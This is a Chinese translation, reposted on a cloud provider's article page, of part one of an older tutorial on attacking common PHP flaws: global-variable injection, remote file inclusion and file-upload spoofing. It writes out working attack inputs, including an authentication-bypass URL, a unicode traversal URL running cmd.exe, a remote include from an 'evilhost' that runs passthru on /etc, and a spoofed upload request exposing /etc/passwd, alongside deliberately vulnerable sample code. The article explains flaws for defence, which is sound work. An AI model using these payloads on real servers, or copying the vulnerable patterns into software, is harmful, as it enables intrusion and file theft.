如何對PHP程式中的常見漏洞進行攻擊(上)

來源:互聯網
上載者:User
程式|攻擊 由於原文比較長,而且有相當一部分是介紹文章的背景或PHP的基礎知識,沒有涉及到PHP安全方面的內容,因此我沒有翻譯。如果你想瞭解這方面的知識,請參考原文。

文章主要從全域變數,遠程檔案,檔案上傳,庫檔案,Session檔案,資料類型和容易出錯的函數這幾個方面分析了PHP的安全性,並且對如何增強PHP的安全性提出了一些有用的建議。

好了,廢話少說,我們言歸正傳!

[全域變數]
PHP中的變數不需要事先聲明,它們會在第一次使用時自動建立,它們的類型也不需要指定,它們會根據上下文環境自動確定。從程式員的角度來看,這無疑是一種極其方便的處理方法。很顯然,這也是快速開發語言的一個很有用的特點。一旦一個變數被建立了,就可以在程式中的任何地方使用。這個特點導致的結果就是程式員很少初始設定變數,畢竟,當它們第一次建立時,他們是空的。

很顯然,基於PHP的應用程式的主函數一般都是接受使用者的輸入(主要是表單變數,上傳檔案和Cookie等),然後對輸入資料進行處理,然後把結果返回到用戶端瀏覽器。為了使PHP代碼訪問使用者的輸入儘可能容易,實際上PHP是把這些輸入資料看作全域變數來處理的。

例如:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很顯然,這會顯示一個文字框和提交按鈕。當使用者點擊提交按鈕時,“test.php”會處理使用者的輸入,當“test.php”運行時,“$hello”會包含使用者在文字框輸入的資料。從這裡我們應該看出,攻擊者可以按照自己的意願建立任意的全域變數。如果攻擊者不是通過表單輸入來調用“test.php”,而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no,那麼,不止是“$hello”被建立,“$setup”也被建立了。

譯者註:這兩種方法也就是我們通常說的“POST”和“GET”方法。
下面的使用者認證代碼暴露了PHP的全域變數所導致的安全問題:

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

上面的代碼首先檢查使用者的密碼是否為“hello”,如果匹配的話,設定“$auth”為“1”,即通過認證。之後如果“$suth”為“1”的話,就會顯示一些重要訊息。

表面看起來是正確的,而且我們中有相當一部分人是這樣做的,但是這段代碼犯了想當然的錯誤,它假定“$auth”在沒有設定值的時候是空的,卻沒有想到攻擊者可以建立任何全域變數並賦值,通過類似“http://server/test.php?auth=1”的方法,我們完全可以欺騙這段代碼,使它相信我們是已經認證過的。

因此,為了提高PHP程式的安全性,我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話,這可是一項非常艱巨的任務。

一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變數,這依賴於我們的提交方式(GET或POST)。當PHP配置為開啟“track_vars”選項的話(這是預設值),使用者提交的變數就可以在全域變數和上面提到的數組中獲得。

但是值得說明的是,PHP有四個不同的陣列變數用來處理使用者的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變數,HTTP_POST_VARS數組用於處理POST方式提交的變數,HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變數,而對於HTTP_POST_FILES數組(比較新的PHP才提供),則完全是使用者用來提交變數的一種可選方式。使用者的一個請求可以很容易的把變數存在這四個數組中,因此一個安全的PHP程式應該檢查這四個數組。

[遠程檔案]
PHP是一種具有豐富特性的語言,提供了大量的函數,使編程者實現某個功能很容易。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠程檔案就是說明這個問題的一個很好的例子:

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>

上面的指令碼試圖開啟檔案“$filename”,如果失敗就顯示錯誤資訊。很明顯,如果我們能夠指定“$filename”的話,就能利用這個指令碼瀏覽系統中的任何檔案。但是,這個指令碼還存在一個不太明顯的特性,那就是它可以從任何其它WEB或FTP網站讀取檔案。實際上,PHP的大多數檔案處理函數對遠程檔案的處理是透明的。

例如:
如果指定“$filename”為“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
則上面的代碼實際上是利用主機target上的unicode漏洞,執行了dir命令。

這使得支援遠程檔案的include(),require(),include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定檔案的內容,並且把它們按照PHP代碼解釋,主要是用在庫檔案上。

例如:
<?php
include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一個在執行代碼前已經設定好的路徑,如果攻擊者能夠使得“$libdir”沒有被設定的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問檔案languages.php(perl中的“Poison null byte”攻擊對PHP沒有作用)。但是由於有了對遠程檔案的支援,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個檔案languages.php,包含如下內容:

<?php
passthru("/bin/ls /etc");
?>

然後把“$libdir”設定為“http://<evilhost>/”,這樣我們就可以在目標主機上執行上面的攻擊代碼,“/etc”目錄的內容作為結果返回到客戶的瀏覽器中。

需要注意的是,攻擊伺服器(也就是evilhost)應該不能執行PHP代碼,否則攻擊代碼會在攻擊伺服器,而不是目標伺服器執行,如果你想瞭解具體的技術細節,請參考:http://www.securereality.com.au/sradv00006.txt

[檔案上傳]
PHP自動支援基於RFC 1867的檔案上傳,我們看下面的例子:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代碼讓使用者從本地機器選擇一個檔案,當點擊提交後,檔案就會被上傳到伺服器。這顯然是很有用的功能,但是PHP的回應程式式使這項功能變的不安全。當PHP第一次接到這種請求,甚至在它開始解析被調用的PHP代碼之前,它會先接受遠端使用者的檔案,檢查檔案的長度是否超過“$MAX_FILE_SIZE variable”定義的值,如果通過這些測試的話,檔案就會被存在本地的一個臨時目錄中。

因此,攻擊者可以發送任意檔案給運行PHP的主機,在PHP程式還沒有決定是否接受檔案上傳時,檔案已經被存在伺服器上了。

這裡我就不討論利用檔案上傳來對伺服器進行DOS攻擊的可能性了。

讓我們考慮一下處理檔案上傳的PHP程式,正如我們上面說的,檔案被接收並且存在伺服器上(位置是在設定檔中指定的,一般是/tmp),副檔名一般是隨機的,類似“phpxXuoXG”的形式。PHP程式需要上傳檔案的資訊以便處理它,這可以通過兩種方式,一種方式是在PHP 3中已經使用的,另一種是在我們對以前的方法提出資訊安全諮詢後引入的。

但是,我們可以肯定的說,問題還是存在的,大多數PHP程式還是使用老的方式來處理上傳檔案。PHP設定了四個全域變數來描述上傳檔案,比如說上面的例子:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然後PHP程式開始處理根據“$hello”指定的檔案,問題在於“$hello”不一定是一個PHP設定的變數,任何遠端使用者都可以指定它。如果我們使用下面的方式:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就導致了下面的PHP全域變數(當然POST方式也可以(甚至是Cookie)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表單資料正好滿足了PHP程式所期望的變數,但是這時PHP程式不再處理上傳的檔案,而是處理“/etc/passwd”(通常會導致內容暴露)。這種攻擊可以用於暴露任何敏感檔案的內容。

我在前面已經說了,新版本的PHP使用HTTP_POST_FILES[]來決定上傳檔案,同時也提供了很多函數來解決這個問題,例如有一個函數用來判斷某個檔案是不是實際上傳的檔案。這些函數很好的解決了這個問題,但是實際上肯定有很多PHP程式仍然使用舊的方法,很容易受到這種攻擊。

作為檔案上傳的攻擊方法的一個變種,我們看一下下面的一段代碼:

<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻擊者可以控制“$theme”的話,很顯然它可以利用“$theme”來讀取遠程系統上的任何檔案。攻擊者的最終目標是在遠程伺服器上執行任意指令,但是他無法使用遠程檔案,因此,他必須得在遠程伺服器上建立一個PHP檔案。這乍看起來好象是不可能的,但是檔案上傳幫了我們這個忙,如果攻擊者先在本地機器上建立一個包含PHP代碼的檔案,然後建立一個包含名為“theme”的檔案域的表單,最後用這個表單通過檔案上傳把建立的包含PHP代碼的檔案提交給上面的代碼,PHP就會把攻擊者提交的檔案儲存起來,並把“$theme”的值設定為攻擊者提交的檔案,這樣file_exists()函數會檢查通過,攻擊者的代碼也將執行。

獲得執行任意指令的能力之後,攻擊者顯然想提升許可權或者是擴大戰果,而這又需要一些伺服器上沒有的工具集,而檔案上傳又一次幫了我們這個忙。攻擊者可以使用檔案上傳功能上傳工具,把她們存在伺服器上,然後利用他們執行指令的能力,使用chmod()改變檔案的許可權,然後執行。例如:攻擊者可以繞過防火牆或IDS上傳一個本地root攻擊程式,然後執行,這樣就獲得了root許可權。

<未完待續>

相關文章

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。